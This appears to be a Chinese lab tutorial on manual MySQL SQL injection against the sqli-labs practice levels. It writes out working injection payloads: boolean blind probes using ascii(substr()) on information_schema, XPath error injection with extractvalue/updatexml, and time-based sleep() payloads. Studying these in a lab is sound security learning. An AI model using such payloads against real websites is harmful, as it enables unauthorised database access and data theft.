MySQL手工注入学习-1 (2)

MySQL手工注入学习-1

从报错信息显示,我们的id—value写在SQL语句的括号中,换言之就是,这条SQL语句缺少一个右括号~

MySQL手工注入学习-1

确定注入点和方法策略后按照Less1/2的方法UNION/报错注入方法

Less-4

判断注入点

?id=1 ?id=1\' ?id=1\') ?id=1" # 报错…… ^

MySQL手工注入学习-1

我们的ID值会放在SQL语句中,且被("$id")包围

?id=1") --+ 手工盲注

MySQL手工注入学习-1

按照这回显,可以认为这是一处盲注……

SQL盲注点 ~~ UNION联合(回显)查询的方法就不可以了……

基于布尔的盲注 ?id=1\' and left(version(),1)=\'5\' --+

left():从左截取a结果的1个长度的字符

只有当and后面的sql语句为True才不会报错~……

通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是‘5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名……

MySQL手工注入学习-1

如上~ 如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过length(database())>=*进行猜解

牢记布尔盲注的特点:只有当and后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就可以创造奇迹

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 # ascii(substr((select database()),1,1))=98

substr(a,b,c) 将a结果从b开始截取c长度字符,ascii()将字符转为ascii值

基于报错的盲注

XPath报错注入:

?id=1\' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ ?id=1\' and updatexml(1,concat(0x7e,(select database()),0x7e),0x7e) --+ 基于时间的盲注

主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,

?id=1\' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+

ascii()负责猜解;if()负责判断,若是猜解成立则返回1,若是猜解不成立延迟10秒

MySQL手工注入学习-1

MySQL手工注入学习-1

MySQL手工注入学习-1

从报错结果中,看出注释符应该被禁了……而且从报错结果认定布尔和报错注入是不可举的!!!

于者乎……时间盲注是最优选择~~~

当然了……还有在这里说一说文件的导入于导出的方法:

Less-24 二次排序

*- 借鉴sqli-labs-24

MySQL手工注入学习-1

分析环境文件:

MySQL手工注入学习-1

login.php:查询数据库用户存在和验证登录

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzfpdy.html